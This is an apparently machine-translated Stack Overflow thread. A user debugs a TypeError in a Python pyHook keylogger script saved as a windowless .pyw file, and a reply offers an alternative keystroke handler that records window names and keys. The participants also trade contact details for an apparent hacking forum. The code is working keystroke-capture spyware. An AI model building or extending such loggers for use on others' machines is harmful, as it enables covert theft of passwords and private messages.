2016-02-12 6 views
0

Я написал сценарий:Python TypeError целое требуется pyHook PythonCOM

import pythoncom, pyHook 
    import time 
    from time import strftime,localtime 

    def OKBE(event): 

      log =str("log "+str(time.strftime("%d,%B",localtime()))+".txt") 
      f=open(str(log),"a") 

      if(str(event.Ascii)=="8"): 
       f.write("<--") 
       print("<--") 
      elif(str(event.Ascii)=="13"): 
       f.write("\nENTER "+str(time.strftime("%H,%M",localtime()))+"\n") 

       print("\nENTER\n") 
      elif(str(event.Ascii)=="32"): 
       f.write(" ") 
      else: 
       f.write(chr(event.Ascii)) 
       print(str(event.Ascii)) 
       print(chr(event.Ascii)) 


    manager = pyHook.HookManager() 
    manager.KeyDown = OKBE 
    manager.HookKeyboard() 
    pythoncom.PumpMessages() 

, но какое-то время это событие является или р и некоторые другие письма я получаю эту ошибку:

Traceback (most recent call last): 
File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch 
return func(event) 
File "C:\Users\Miran\Desktop\Pythonprojekt\Keylogger\keylogger.pyw", line 10, in OKBE 
log =str("log "+str(time.strftime("%d,%B",localtime()))+".txt") 
TypeError: an integer is required 

Любой знает Зачем?

ответ

0

Событие - это класс (или я должен сказать, экземпляр класса), вы можете вызывать информацию из экземпляра (см. Код ниже), например, «event.key», даст вам код символа ASCII. event.alt вернет статус клавиши «alt».

Я помню, что имел дело с подобной проблемой при написании кейлоггера python (хотя это был возраст). Я не вижу ничего плохого в вашем коде. Моя функция «OKBE» больше походила на это.

def OnKeyboardEvent(self, event): 
    if (event.Ascii > 31 and event.Ascii < 127) or event.Ascii == 13 or event.Ascii == 9: 
     data = (event.WindowName, event.Window, event.Time, event.Ascii, event.Key, event.Alt) 
     print data # debugging 

Я считаю, что использование вышеуказанного метода позволяет уловить большинство (если не всех) обычных нажатий клавиш. Используя эту функцию выше, я создал класс с другими функциями ведения журнала.

Если вам нужно что-нибудь еще, или работать, что происходит в вашем коде, дайте мне знать :)

+0

Aweasom спасибо ... как скорлупа я связаться с U? – Blood

+0

Вы на HF? найти меня под 0x52-0x75-0x64-0x79 – RandomHash

+0

Можете ли вы дать мне электронное письмо? нет опции частного сообщения в stackoverflow – Blood

0

Я думаю, что проблема является ошибка ... когда я заменить

log =str("log "+str(time.strftime("%d,%B",localtime()))+".txt") по log="log.txt"

ничего работает мелкие

+0

Да, как я уже сказал, ничего не видно сразу. Я предлагаю использовать событие, Ascii по тем причинам, о которых я сказал в своем ответе. Причины, по которым я использовал другой оператор if, - это то, что он будет захватывать больше ключевых событий. Посмотрите, что соответствует этим ключевым прессам, универсальным. Я не могу вспомнить голову. – RandomHash

+0

log = str ("log" + str (time.strftime ("% d,% B", localtime())) + ". Txt") отлично работает на моей машине. – RandomHash

 Смежные вопросы

  • Нет связанных вопросов^_^